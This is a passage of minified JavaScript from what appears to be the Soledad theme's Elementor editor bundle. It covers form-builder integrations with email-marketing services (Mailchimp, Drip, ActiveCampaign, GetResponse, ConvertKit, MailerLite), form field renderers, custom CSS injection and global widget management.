					}, escapeMarkup: function ( e ) {
						return e
					}, minimumInputLength: 1
				} )
			}, getValueTitles: function () {
				var e = this, t = this.getControlValue(), n = this.model.get( "filter_type" );
				t && n && (
					_.isArray( t ) || (
						t = [t]
					), elementorCommon.ajax.loadObjects( {
						action: "query_control_value_titles",
						ids: t,
						data: {
							filter_type: n,
							object_type: e.model.get( "object_type" ),
							unique_id: "" + e.cid + n},
						before: function () {
							e.addControlSpinner()
						}, success: function ( t ) {
							e.isTitlesReceived = !0, e.model.set( "options", t ), e.render()
						}
					} )
				)
			}, addControlSpinner: function () {
				this.ui.select.prop( "disabled", !0 ), this.$el.find( ".elementor-control-title" ).after( '<span class="elementor-control-spinner">&nbsp;<i class="fa fa-spinner fa-spin"></i>&nbsp;</span>' )
			}, onReady: function () {
				setTimeout( elementor.modules.controls.Select2.prototype.onReady.bind( this ) ), this.isTitlesReceived || this.getValueTitles()
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 0 );
		e.exports = i.extend( {
			onElementorInit: function () {
				var e = n( 13 ), t = n( 14 ), i = n( 15 ), o = n( 16 ), r = n( 17 ), l = n( 18 ), s = n( 19 ), a = n( 20 ), d = n( 21 );
				this.replyToField = new e, this.mailchimp = new r( "form" ), this.shortcode = new i( "form" ), this.recaptcha = new t( "form" ), this.drip = new l( "form" ), this.activecampaign = new s( "form" ), this.getresponse = new a( "form" ), this.convertkit = new d( "form" ), this.mailerlite = new o( "form" );
				var c = n( 22 ), u = n( 23 ), m = n( 24 ), p = n( 25 ), g = n( 26 );
				this.Fields = {time: new c( "form" ), date: new u( "form" ), tel: new g( "form" ), acceptance: new m( "form" ), upload: new p( "form" )}, elementor.addControlView( "Fields_map", n( 27 ) )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		e.exports = function () {
			var e, t, n, i = function () {
				var t = e.children.findByModelCid( n.cid );
				t && t.render()
			}, o = function () {
				var e, o = t.get( "settings" ).get( "form_fields" ).where( {field_type: "email"} );
				o = _.reject( o, {field_label: ""} ), e = _.map( o, function ( e ) {
					return {id: e.get( "_id" ), label: soledadElementor.translate( "x_field", [e.get( "field_label" )] )}
				} ), n.set( "options", {"": n.get( "options" )[""]} ), _.each( e, function ( e ) {
					n.get( "options" )[e.id] = e.label
				} ), i()
			}, r = function ( e ) {
				n.get( "options" )[""] = e.get( "email_from" ), i()
			}, l = function ( e ) {
				e.get( "_id" ) && "email" === e.get( "field_type" ) && o(), e.changed.email_from && r( e )
			}, s = function ( i, s ) {
				e = i.getCurrentPageView(), t = s, n = e.collection.findWhere( {name: "email_reply_to"} );
				var a = t.get( "settings" );
				a.on( "change", l ), r( a ), o()
			};
			elementor.hooks.addAction( "panel/open_editor/widget/form", s )
		}
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 1 );
		e.exports = i.extend( {
			renderField: function ( e, t ) {
				var n = soledadElementor.config.forms.recaptcha;
				return e += '<div class="elementor-field">', n.enabled ? e += '<div class="elementor-g-recaptcha' + _.escape( t.css_classes ) + '" data-sitekey="' + n.site_key + '" data-theme="' + t.recaptcha_style + '" data-size="' + t.recaptcha_size + '"></div>' : e += '<div class="elementor-alert">' + n.setup_message + "</div>", e += "</div>"
			}, filterItem: function ( e ) {
				return "recaptcha" === e.field_type && (
					e.field_label = !1
				), e
			}, onInit: function () {
				elementor.hooks.addFilter( "elementor_pro/forms/content_template/item", this.filterItem ), elementor.hooks.addFilter( "elementor_pro/forms/content_template/field/recaptcha", this.renderField, 10, 2 )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 1 );
		e.exports = i.extend( {
			getExistId: function ( e ) {
				return this.getView( "form_fields" ).collection.filter( function ( t ) {
					return e === t.get( "_id" )
				} ).length > 1
			}, onFieldChanged: function ( e, t, n ) {
				var i = this;
				_.defer( function () {
					var o = i.getView( "form_fields" ).children.findByModel( e );
					t.changes.removed ? i.getView( "form_fields" ).children.each( i.updateShortcode ) : (
						i.updateId( o, n && n.add ), i.updateShortcode( o )
					)
				} )
			}, updateId: function ( e, t ) {
				for (
					var n = e.model.get( "_id" ), i = n.replace( /[^\w]/, "_" ), o = 1, r = e.children.filter( function ( e ) {
						return "_id" === e.model.get( "name" )
					} ); i !== n || t || !n || this.getExistId( n );
				) {
					i !== n ? n = i : i = n = "field_" + o, e.model.attributes._id = n, r[0].render(), r[0].$el.find( "input" ).trigger( "focus" ), o ++, t = !1
				}
			}, updateShortcode: function ( e ) {
				var t = _.template( '[field id="<%= id %>"]' )( {title: e.model.get( "field_label" ), id: e.model.get( "_id" )} );
				e.$el.find( ".elementor-form-field-shortcode" ).on( "focus", function () {
					this.select()
				} ).val( t )
			}, onSectionActive: function () {
				var e = this.getView( "form_fields" );
				e.children.each( this.updateShortcode ), this.collectionEventsAttached || (
					e.collection.on( "update", this.onFieldChanged ), this.collectionEventsAttached = !0
				)
			}, onInit: function () {
				this.addSectionListener( "section_form_fields", this.onSectionActive )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 2 );
		e.exports = i.extend( {
			fields: {}, getName: function () {
				return "mailerlite"
			}, onElementChange: function ( e ) {
				switch ( e ) {
					case"mailerlite_api_key_source":
					case"mailerlite_custom_api_key":
						this.onMailerliteApiKeyUpdate();
						break;
					case"mailerlite_group":
						this.updateFieldsMapping()
				}
			}, onMailerliteApiKeyUpdate: function () {
				var e = this, t = e.getView( "mailerlite_custom_api_key" ), n = e.getView( "mailerlite_api_key_source" );
				if ( "default" !== n.getControlValue() && "" === t.getControlValue() ) {
					return e.updateOptions( "mailerlite_group", [] ), void e.getView( "mailerlite_group" ).setValue( "" );
				}
				e.addControlSpinner( "mailerlite_group" ), e.getMailerliteCache( "groups", "groups", n.getControlValue() ).done( function ( t ) {
					e.updateOptions( "mailerlite_group", t.groups ), e.fields = t.fields
				} )
			}, updateFieldsMapping: function () {
				if ( this.getView( "mailerlite_group" ).getControlValue() ) {
					var e = [
						{remote_label: elementor.translate( "Email" ), remote_type: "email", remote_id: "email", remote_required: !0},
						{remote_label: elementor.translate( "Name" ), remote_type: "text", remote_id: "name", remote_required: !1},
						{remote_label: elementor.translate( "Last Name" ), remote_type: "text", remote_id: "last_name", remote_required: !1},
						{remote_label: elementor.translate( "Company" ), remote_type: "text", remote_id: "company", remote_required: !1},
						{remote_label: elementor.translate( "Phone" ), remote_type: "text", remote_id: "phone", remote_required: !1},
						{remote_label: elementor.translate( "Country" ), remote_type: "text", remote_id: "country", remote_required: !1},
						{remote_label: elementor.translate( "State" ), remote_type: "text", remote_id: "state", remote_required: !1},
						{remote_label: elementor.translate( "City" ), remote_type: "text", remote_id: "city", remote_required: !1},
						{remote_label: elementor.translate( "Zip" ), remote_type: "text", remote_id: "zip", remote_required: !1}
					];
					for ( var t in this.fields ) {
						this.fields.hasOwnProperty( t ) && e.push( this.fields[t] );
					}
					this.getView( "mailerlite_fields_map" ).updateMap( e )
				}
			}, getMailerliteCache: function ( e, t, n, i ) {
				if ( _.has( this.cache[e], n ) ) {
					var o = {};
					return o[e] = this.cache[e][n], jQuery.Deferred().resolve( o )
				}
				return i = _.extend( {}, i, {service: "mailerlite", mailerlite_action: t, custom_api_key: this.getView( "mailerlite_custom_api_key" ).getControlValue(), api_key: this.getView( "mailerlite_api_key_source" ).getControlValue()} ), this.fetchCache( e, n, i )
			}, onSectionActive: function () {
				i.prototype.onSectionActive.apply( this, arguments ), this.onMailerliteApiKeyUpdate()
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 2 );
		e.exports = i.extend( {
			getName: function () {
				return "mailchimp"
			}, onElementChange: function ( e ) {
				switch ( e ) {
					case"mailchimp_api_key_source":
					case"mailchimp_api_key":
						this.onApiUpdate();
						break;
					case"mailchimp_list":
						this.onMailchimpListUpdate()
				}
			}, onApiUpdate: function () {
				var e = this, t = e.getView( "mailchimp_api_key" ), n = e.getView( "mailchimp_api_key_source" );
				if ( "default" !== n.getControlValue() && "" === t.getControlValue() ) {
					return e.updateOptions( "mailchimp_list", [] ), void e.getView( "mailchimp_list" ).setValue( "" );
				}
				e.addControlSpinner( "mailchimp_list" ), e.getMailchimpCache( "lists", "lists", n.getControlValue() ).done( function ( t ) {
					e.updateOptions( "mailchimp_list", t.lists )
				} )
			}, onMailchimpListUpdate: function () {
				this.updateOptions( "mailchimp_groups", [] ), this.getView( "mailchimp_groups" ).setValue( "" ), this.updatMailchimpList()
			}, updatMailchimpList: function () {
				var e = this, t = e.getView( "mailchimp_list" );
				t.getControlValue() && (
					e.addControlSpinner( "mailchimp_groups" ), e.getMailchimpCache( "list_details", "list_details", t.getControlValue(), {mailchimp_list: t.getControlValue()} ).done( function ( t ) {
						e.updateOptions( "mailchimp_groups", t.list_details.groups ), e.getView( "mailchimp_fields_map" ).updateMap( t.list_details.fields )
					} )
				)
			}, getMailchimpCache: function ( e, t, n, i ) {
				if ( _.has( this.cache[e], n ) ) {
					var o = {};
					return o[e] = this.cache[e][n], jQuery.Deferred().resolve( o )
				}
				return i = _.extend( {}, i, {service: "mailchimp", mailchimp_action: t, api_key: this.getView( "mailchimp_api_key" ).getControlValue(), use_global_api_key: this.getView( "mailchimp_api_key_source" ).getControlValue()} ), this.fetchCache( e, n, i )
			}, onSectionActive: function () {
				i.prototype.onSectionActive.apply( this, arguments ), this.updatMailchimpList()
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 2 );
		e.exports = i.extend( {
			getName: function () {
				return "drip"
			}, onElementChange: function ( e ) {
				switch ( e ) {
					case"drip_api_token_source":
					case"drip_custom_api_token":
						this.onApiUpdate();
						break;
					case"drip_account":
						this.onDripAccountsUpdate()
				}
			}, onApiUpdate: function () {
				var e = this, t = e.getView( "drip_api_token_source" ), n = e.getView( "drip_custom_api_token" );
				if ( "default" !== t.getControlValue() && "" === n.getControlValue() ) {
					return e.updateOptions( "drip_account", [] ), void e.getView( "drip_account" ).setValue( "" );
				}
				e.addControlSpinner( "drip_account" ), e.getDripCache( "accounts", "accounts", t.getControlValue() ).done( function ( t ) {
					e.updateOptions( "drip_account", t.accounts )
				} )
			}, onDripAccountsUpdate: function () {
				this.updateFieldsMapping()
			}, updateFieldsMapping: function () {
				if ( this.getView( "drip_account" ).getControlValue() ) {
					var e = {remote_label: elementor.translate( "Email" ), remote_type: "email", remote_id: "email", remote_required: !0};
					this.getView( "drip_fields_map" ).updateMap( [e] )
				}
			}, getDripCache: function ( e, t, n, i ) {
				if ( _.has( this.cache[e], n ) ) {
					var o = {};
					return o[e] = this.cache[e][n], jQuery.Deferred().resolve( o )
				}
				return i = _.extend( {}, i, {service: "drip", drip_action: t, api_token: this.getView( "drip_api_token_source" ).getControlValue(), custom_api_token: this.getView( "drip_custom_api_token" ).getControlValue()} ), this.fetchCache( e, n, i )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 2 );
		e.exports = i.extend( {
			fields: {}, getName: function () {
				return "activecampaign"
			}, onElementChange: function ( e ) {
				switch ( e ) {
					case"activecampaign_api_credentials_source":
					case"activecampaign_api_key":
					case"activecampaign_api_url":
						this.onApiUpdate();
						break;
					case"activecampaign_list":
						this.onListUpdate()
				}
			}, onApiUpdate: function () {
				var e = this, t = e.getView( "activecampaign_api_key" ), n = e.getView( "activecampaign_api_url" ), i = e.getView( "activecampaign_api_credentials_source" );
				if ( "default" !== i.getControlValue() && (
					"" === t.getControlValue() || "" === n.getControlValue()
				) ) {
					return e.updateOptions( "activecampaign_list", [] ), void e.getView( "activecampaign_list" ).setValue( "" );
				}
				e.addControlSpinner( "activecampaign_list" ), e.getActiveCampaignCache( "lists", "activecampaign_list", i.getControlValue() ).done( function ( t ) {
					e.updateOptions( "activecampaign_list", t.lists ), e.fields = t.fields
				} )
			}, onListUpdate: function () {
				this.updateFieldsMapping()
			}, updateFieldsMapping: function () {
				if ( this.getView( "activecampaign_list" ).getControlValue() ) {
					var e = [
						{remote_label: elementor.translate( "Email" ), remote_type: "email", remote_id: "email", remote_required: !0},
						{remote_label: elementor.translate( "First Name" ), remote_type: "text", remote_id: "first_name", remote_required: !1},
						{remote_label: elementor.translate( "Last Name" ), remote_type: "text", remote_id: "last_name", remote_required: !1},
						{remote_label: elementor.translate( "Phone" ), remote_type: "text", remote_id: "phone", remote_required: !1},
						{remote_label: elementor.translate( "Organization name" ), remote_type: "text", remote_id: "orgname", remote_required: !1}
					];
					for ( var t in this.fields ) {
						this.fields.hasOwnProperty( t ) && e.push( this.fields[t] );
					}
					this.getView( "activecampaign_fields_map" ).updateMap( e )
				}
			}, getActiveCampaignCache: function ( e, t, n, i ) {
				if ( _.has( this.cache[e], n ) ) {
					var o = {};
					return o[e] = this.cache[e][n], jQuery.Deferred().resolve( o )
				}
				return i = _.extend( {}, i, {
					service: "activecampaign",
					activecampaign_action: t,
					api_key: this.getView( "activecampaign_api_key" ).getControlValue(),
					api_url: this.getView( "activecampaign_api_url" ).getControlValue(),
					api_cred: this.getView( "activecampaign_api_credentials_source" ).getControlValue()
				} ), this.fetchCache( e, n, i )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 2 );
		e.exports = i.extend( {
			getName: function () {
				return "getresponse"
			}, onElementChange: function ( e ) {
				switch ( e ) {
					case"getresponse_custom_api_key":
					case"getresponse_api_key_source":
						this.onApiUpdate();
						break;
					case"getresponse_list":
						this.onGetResonseListUpdate()
				}
			}, onApiUpdate: function () {
				var e = this, t = e.getView( "getresponse_api_key_source" ), n = e.getView( "getresponse_custom_api_key" );
				if ( "default" !== t.getControlValue() && "" === n.getControlValue() ) {
					return e.updateOptions( "getresponse_list", [] ), void e.getView( "getresponse_list" ).setValue( "" );
				}
				e.addControlSpinner( "getresponse_list" ), e.getCache( "lists", "lists", t.getControlValue() ).done( function ( t ) {
					e.updateOptions( "getresponse_list", t.lists )
				} )
			}, onGetResonseListUpdate: function () {
				this.updatGetResonseList()
			}, updatGetResonseList: function () {
				var e = this, t = e.getView( "getresponse_list" );
				t.getControlValue() && (
					e.addControlSpinner( "getresponse_fields_map" ), e.getCache( "fields", "get_fields", t.getControlValue(), {getresponse_list: t.getControlValue()} ).done( function ( t ) {
						e.getView( "getresponse_fields_map" ).updateMap( t.fields )
					} )
				)
			}, getCache: function ( e, t, n, i ) {
				if ( _.has( this.cache[e], n ) ) {
					var o = {};
					return o[e] = this.cache[e][n], jQuery.Deferred().resolve( o )
				}
				return i = _.extend( {}, i, {service: "getresponse", getresponse_action: t, api_key: this.getView( "getresponse_api_key_source" ).getControlValue(), custom_api_key: this.getView( "getresponse_custom_api_key" ).getControlValue()} ), this.fetchCache( e, n, i )
			}, onSectionActive: function () {
				i.prototype.onSectionActive.apply( this, arguments ), this.updatGetResonseList()
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 2 );
		e.exports = i.extend( {
			getName: function () {
				return "convertkit"
			}, onElementChange: function ( e ) {
				switch ( e ) {
					case"convertkit_api_key_source":
					case"convertkit_custom_api_key":
						this.onApiUpdate();
						break;
					case"convertkit_form":
						this.onListUpdate()
				}
			}, onApiUpdate: function () {
				var e = this, t = e.getView( "convertkit_api_key_source" ), n = e.getView( "convertkit_custom_api_key" );
				if ( "default" !== t.getControlValue() && "" === n.getControlValue() ) {
					return e.updateOptions( "convertkit_form", [] ), void e.getView( "convertkit_form" ).setValue( "" );
				}
				e.addControlSpinner( "convertkit_form" ), e.getConvertKitCache( "data", "convertkit_get_forms", t.getControlValue() ).done( function ( t ) {
					e.updateOptions( "convertkit_form", t.data.forms ), e.updateOptions( "convertkit_tags", t.data.tags )
				} )
			}, onListUpdate: function () {
				this.updateFieldsMapping()
			}, updateFieldsMapping: function () {
				if ( this.getView( "convertkit_form" ).getControlValue() ) {
					var e = [{remote_label: elementor.translate( "Email" ), remote_type: "email", remote_id: "email", remote_required: !0}, {remote_label: elementor.translate( "First Name" ), remote_type: "text", remote_id: "first_name", remote_required: !1}];
					this.getView( "convertkit_fields_map" ).updateMap( e )
				}
			}, getConvertKitCache: function ( e, t, n, i ) {
				if ( _.has( this.cache[e], n ) ) {
					var o = {};
					return o[e] = this.cache[e][n], jQuery.Deferred().resolve( o )
				}
				return i = _.extend( {}, i, {service: "convertkit", convertkit_action: t, api_key: this.getView( "convertkit_api_key_source" ).getControlValue(), custom_api_key: this.getView( "convertkit_custom_api_key" ).getControlValue()} ), this.fetchCache( e, n, i )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 1 );
		e.exports = i.extend( {
			renderField: function ( e, t, n, i ) {
				var o = _.escape( t.css_classes ), r = "", l = "";
				return t.required && (
					r = "required"
				), t.placeholder && (
					l = ' placeholder="' + t.placeholder + '"'
				), "yes" === t.use_native_time && (
					o += " elementor-use-native"
				), '<input size="1" type="time"' + l + ' class="elementor-field-textual elementor-time-field elementor-field elementor-size-' + i.input_size + " " + o + '" name="form_field_' + n + '" id="form_field_' + n + '" ' + r + " >"
			}, onInit: function () {
				elementor.hooks.addFilter( "elementor_pro/forms/content_template/field/time", this.renderField, 10, 4 )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 1 );
		e.exports = i.extend( {
			renderField: function ( e, t, n, i ) {
				var o = _.escape( t.css_classes ), r = "", l = "", s = "", a = "";
				return t.required && (
					r = "required"
				), t.min_date && (
					l = ' min="' + t.min_date + '"'
				), t.max_date && (
					s = ' max="' + t.max_date + '"'
				), t.placeholder && (
					a = ' placeholder="' + t.placeholder + '"'
				), "yes" === t.use_native_date && (
					o += " elementor-use-native"
				), '<input size="1"' + l + s + a + ' pattern="[0-9]{4}-[0-9]{2}-[0-9]{2}" type="date" class="elementor-field-textual elementor-date-field elementor-field elementor-size-' + i.input_size + " " + o + '" name="form_field_' + n + '" id="form_field_' + n + '" ' + r + " >"
			}, onInit: function () {
				elementor.hooks.addFilter( "elementor_pro/forms/content_template/field/date", this.renderField, 10, 4 )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 1 );
		e.exports = i.extend( {
			renderField: function ( e, t, n, i ) {
				var o = _.escape( t.css_classes ), r = "", l = "", s = "";
				return t.required && (
					r = "required"
				), t.acceptance_text && (
					l = '<label for="form_field_' + n + '">' + t.acceptance_text + "</label>"
				), t.checked_by_default && (
					s = ' checked="checked"'
				), '<div class="elementor-field-subgroup"><span class="elementor-field-option"><input size="1" type="checkbox"' + s + ' class="elementor-acceptance-field elementor-field elementor-size-' + i.input_size + " " + o + '" name="form_field_' + n + '" id="form_field_' + n + '" ' + r + " > " + l + "</span></div>"
			}, onInit: function () {
				elementor.hooks.addFilter( "elementor_pro/forms/content_template/field/acceptance", this.renderField, 10, 4 )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 1 );
		e.exports = i.extend( {
			renderField: function ( e, t, n, i ) {
				var o = _.escape( t.css_classes ), r = "", l = "", s = "form_field_";
				return t.required && (
					r = "required"
				), t.allow_multiple_upload && (
					l = ' multiple="multiple"', s += "[]"
				), '<input size="1"  type="file" class="elementor-file-field elementor-field elementor-size-' + i.input_size + " " + o + '" name="' + s + '" id="form_field_' + n + '" ' + r + l + " >"
			}, onInit: function () {
				elementor.hooks.addFilter( "elementor_pro/forms/content_template/field/upload", this.renderField, 10, 4 )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 1 );
		e.exports = i.extend( {
			renderField: function ( e, t, n, i ) {
				var o = _.escape( t.css_classes ), r = "", l = "";
				return t.required && (
					r = "required"
				), t.placeholder && (
					l = ' placeholder="' + t.placeholder + '"'
				), o = "elementor-field-textual " + o, '<input size="1" type="' + t.field_type + '" class="elementor-field-textual elementor-field elementor-size-' + i.input_size + " " + o + '" name="form_field_' + n + '" id="form_field_' + n + '" ' + r + " " + l + ' pattern="[0-9()-]" >'
			}, onInit: function () {
				elementor.hooks.addFilter( "elementor_pro/forms/content_template/field/tel", this.renderField, 10, 4 )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		e.exports = elementor.modules.controls.Repeater.extend( {
			onBeforeRender: function () {
				this.$el.hide()
			}, updateMap: function ( e ) {
				var t = this, n = {};
				t.collection.each( function ( e ) {
					n[e.get( "remote_id" )] = e.get( "local_id" )
				} ), t.collection.reset(), _.each( e, function ( e ) {
					var i = {remote_id: e.remote_id, remote_label: e.remote_label, remote_type: e.remote_type ? e.remote_type : "", remote_required: !!e.remote_required && e.remote_required, local_id: n[e.remote_id] ? n[e.remote_id] : ""};
					t.collection.add( i )
				} ), t.render()
			}, onRender: function () {
				elementor.modules.controls.Base.prototype.onRender.apply( this, arguments );
				var e = this;
				e.children.each( function ( t ) {
					var n = t.children.last(), i = {"": "- " + elementor.translate( "None" ) + " -"}, o = t.model.get( "remote_label" );
					t.model.get( "remote_required" ) && (
						o += '<span class="elementor-required">*</span>'
					), _.each( e.elementSettingsModel.get( "form_fields" ).models, function ( e, n ) {
						var o = t.model.get( "remote_type" );
						"text" !== o && o !== e.get( "field_type" ) || (
							i[e.get( "_id" )] = e.get( "field_label" ) || "Field #" + (
							n + 1
						)
						)
					} ), n.model.set( "label", o ), n.model.set( "options", i ), n.render(), t.$el.find( ".elementor-repeater-row-tools" ).hide(), t.$el.find( ".elementor-repeater-row-controls" ).removeClass( "elementor-repeater-row-controls" ).find( ".elementor-control" ).css( {paddingBottom: 0} )
				} ), e.$el.find( ".elementor-button-wrapper" ).remove(), e.children.length && e.$el.show()
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 0 );
		e.exports = i.extend( {
			onElementorPreviewLoaded: function () {
				var e = n( 29 );
				this.editButton = new e
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		e.exports = function () {
			var e = this;
			e.onPanelShow = function ( t ) {
				var n = t.content.currentView.collection.findWhere( {name: "template_id"} );
				e.templateIdView = t.content.currentView.children.findByModelCid( n.cid ), e.templateIdView.elementSettingsModel.on( "change", e.onTemplateIdChange ), e.templateIdView.on( "render", e.onTemplateIdChange )
			}, e.onTemplateIdChange = function () {
				var t = e.templateIdView.elementSettingsModel.get( "template_id" ), n = e.templateIdView.$el.find( ".elementor-edit-template" );
				if ( t ) {
					var i = ElementorConfig.home_url + "?p=" + t + "&elementor";
					n.length ? n.prop( "href", i ) : (
						n = jQuery( "<a />", {
							target: "_blank",
							class: "elementor-button elementor-button-default elementor-edit-template",
							href: i,
							html: '<i class="fa fa-pencil" /> ' + PenciElementorConfig.i18n.edit_template
						} ), e.templateIdView.$el.find( ".elementor-control-input-wrapper" ).after( n )
					)
				} else {
					n.remove()
				}
			}, e.init = function () {
				elementor.hooks.addAction( "panel/open_editor/widget/template", e.onPanelShow )
			}, e.init()
		}
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 0 );
		e.exports = i.extend( {
			onElementorInit: function () {
				var e = n( 31 );
				this.customCss = new e
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		e.exports = function () {
			var e = this;
			e.init = function () {
				elementor.hooks.addFilter( "editor/style/styleText", e.addCustomCss ), elementor.settings.page.model.on( "change", e.addPageCustomCss ), elementor.on( "preview:loaded", e.addPageCustomCss )
			}, e.addPageCustomCss = function () {
				var e = elementor.settings.page.model.get( "custom_css" );
				e && (
					e = e.replace( /selector/g, elementor.config.settings.page.cssWrapperSelector ), elementor.settings.page.getControlsCSS().elements.$stylesheetElement.append( e )
				)
			}, e.addCustomCss = function ( e, t ) {
				var n = t.getEditModel().get( "settings" ).get( "custom_css" );
				return n && (
					e += n.replace( /selector/g, ".elementor-element.elementor-element-" + t.model.id )
				), e
			}, e.init()
		}
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 0 );
		e.exports = i.extend( {
			globalModels: {}, panelWidgets: null, templatesAreSaved: !0, addGlobalWidget: function ( e, t ) {
				t = _.extend( {}, t, {categories: [], icon: elementor.config.widgets[t.widgetType].icon, widgetType: t.widgetType, custom: {templateID: e}} );
				var n = this.createGlobalModel( e, t );
				return this.panelWidgets.add( n )
			}, createGlobalModel: function ( e, t ) {
				var n = new elementor.modules.elements.models.Element( t ), i = n.get( "settings" );
				return n.set( "id", e ), i.on( "change", _.bind( this.onGlobalModelChange, this ) ), this.globalModels[e] = n
			}, onGlobalModelChange: function () {
				this.templatesAreSaved = !1
			}, setWidgetType: function () {
				elementor.hooks.addFilter( "element/view", function ( e, t ) {
					return t.get( "templateID" ) ? n( 33 ) : e
				} ), elementor.hooks.addFilter( "element/model", function ( e, t ) {
					return t.templateID ? n( 34 ) : e
				} )
			}, registerTemplateType: function () {
				elementor.templates.registerTemplateType( "widget", {
					showInLibrary: !1, saveDialog: {title: soledadElementor.translate( "global_widget_save_title" ), description: soledadElementor.translate( "global_widget_save_description" )}, prepareSavedData: function ( e ) {
						return e.widgetType = e.content[0].widgetType, e
					}, ajaxParams: {success: this.onWidgetTemplateSaved.bind( this )}
				} )
			}, addSavedWidgetsToPanel: function () {
				var e = this;
				e.panelWidgets = new Backbone.Collection, _.each( soledadElementor.config.widget_templates, function ( t, n ) {
					e.addGlobalWidget( n, t )
				} ), elementor.hooks.addFilter( "panel/elements/regionViews", function ( t ) {
					return _.extend( t.global, {view: n( 35 ), options: {collection: e.panelWidgets}} ), t
				} )
			}, addPanelPage: function () {
				elementor.getPanelView().addPage( "globalWidget", {view: n( 37 )} )
			}, getGlobalModels: function ( e ) {
				return e ? this.globalModels[e] : this.globalModels
			}, saveTemplates: function () {
				if ( Object.keys( this.globalModels ).length ) {
					var e = [], t = this;
					_.each( this.globalModels, function ( t, n ) {
						if ( "loaded" === t.get( "settingsLoadedStatus" ) ) {
							var i = {content: JSON.stringify( [t.toJSON( {removeDefault: !0} )] ), source: "local", type: "widget", id: n};
							e.push( i )
						}
					} ), e.length && elementorCommon.ajax.addRequest( "update_templates", {
						data: {templates: e}, success: function () {
							t.templatesAreSaved = !0
						}
					} )
				}
			}, setSaveButton: function () {
				elementor.saver ? (
					elementor.saver.on( "before:save:publish", _.bind( this.saveTemplates, this ) ), elementor.saver.on( "before:save:private", _.bind( this.saveTemplates, this ) )
				) : elementor.getPanelView().footer.currentView.ui.buttonSave.on( "click", this.saveTemplates.bind( this ) )
			}, requestGlobalModelSettings: function ( e, t ) {
				elementor.templates.requestTemplateContent( "local", e.get( "id" ), {
					success: function ( n ) {
						e.set( "settingsLoadedStatus", "loaded" ).trigger( "settings:loaded" );
						var i = n.content[0].settings, o = e.get( "settings" );
						elementor.history && elementor.history.history.setActive( !1 ), o.handleRepeaterData( i ), o.set( i ), t && t( e ), elementor.history && elementor.history.history.setActive( !0 )
					}
				} )
			}, setWidgetContextMenuSaveAction: function () {
				elementor.hooks.addFilter( "elements/widget/contextMenuGroups", function ( e, t ) {
					var n = _.findWhere( e, {name: "save"} ), i = _.findWhere( n.actions, {name: "save"} );
					return i.callback = t.save.bind( t ), delete i.shortcut, e
				} )
			}, onElementorInit: function () {
				this.setWidgetType(), this.registerTemplateType(), this.setWidgetContextMenuSaveAction()
			}, onElementorFrontendInit: function () {
				this.addSavedWidgetsToPanel()
			}, onElementorPreviewLoaded: function () {
				this.addPanelPage(), this.setSaveButton()
			}, onWidgetTemplateSaved: function ( e ) {
				elementor.history && elementor.history.history.startItem( {title: elementor.config.widgets[e.widgetType].title, type: soledadElementor.translate( "linked_to_global" )} );
				var t = elementor.templates.getLayout().modalContent.currentView.model, n = t.collection.indexOf( t );
				elementor.templates.closeModal(), e.elType = e.type, e.settings = t.get( "settings" ).attributes;
				var i = this.addGlobalWidget( e.template_id, e ).attributes;
				t.collection.add( {id: elementor.helpers.getUniqueID(), elType: i.type, templateID: i.template_id, widgetType: "global"}, {at: n}, !0 ), t.destroy();
				var o = elementor.getPanelView();
				o.setPage( "elements" ), o.getCurrentPageView().activateTab( "global" ), elementor.history && elementor.history.history.endItem()
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i, o = elementor.modules.elements.views.Widget;
		i = o.extend( {
			globalModel: null, className: function () {
				return o.prototype.className.apply( this, arguments ) + " elementor-global-widget elementor-global-" + this.model.get( "templateID" )
			}, initialize: function () {
				var e = this, t = e.model.get( "previewSettings" ), n = e.getGlobalModel();
				if ( t ) {
					n.set( "settingsLoadedStatus", "loaded" ).trigger( "settings:loaded" );
					var i = n.get( "settings" );
					i.handleRepeaterData( t ), i.set( t, {silent: !0} )
				} else {
					var r = n.get( "settingsLoadedStatus" );
					r || (
						n.set( "settingsLoadedStatus", "pending" ), soledadElementor.modules.globalWidget.requestGlobalModelSettings( n )
					), "loaded" !== r && e.$el.addClass( "elementor-loading" ), n.on( "settings:loaded", function () {
						e.$el.removeClass( "elementor-loading" ), e.render()
					} )
				}
				o.prototype.initialize.apply( e, arguments )
			}, getGlobalModel: function () {
				return this.globalModel || (
					this.globalModel = soledadElementor.modules.globalWidget.getGlobalModels( this.model.get( "templateID" ) )
				), this.globalModel
			}, getEditModel: function () {
				return this.getGlobalModel()
			}, getHTMLContent: function ( e ) {
				return "loaded" === this.getGlobalModel().get( "settingsLoadedStatus" ) ? o.prototype.getHTMLContent.call( this, e ) : ""
			}, serializeModel: function () {
				var e = this.getGlobalModel();
				return e.toJSON.apply( e, _.rest( arguments ) )
			}, edit: function () {
				elementor.getPanelView().setPage( "globalWidget", "Global Editing", {editedView: this} )
			}, unlink: function () {
				var e = this.getGlobalModel();
				elementor.history.history.startItem( {title: e.getTitle(), type: soledadElementor.translate( "unlink_widget" )} );
				var t = new elementor.modules.elements.models.Element( {
					elType: "widget",
					widgetType: e.get( "widgetType" ),
					id: elementor.helpers.getUniqueID(),
					settings: elementor.helpers.cloneObject( e.get( "settings" ).attributes ),
					defaultEditSettings: elementor.helpers.cloneObject( e.get( "editSettings" ).attributes )
				} );
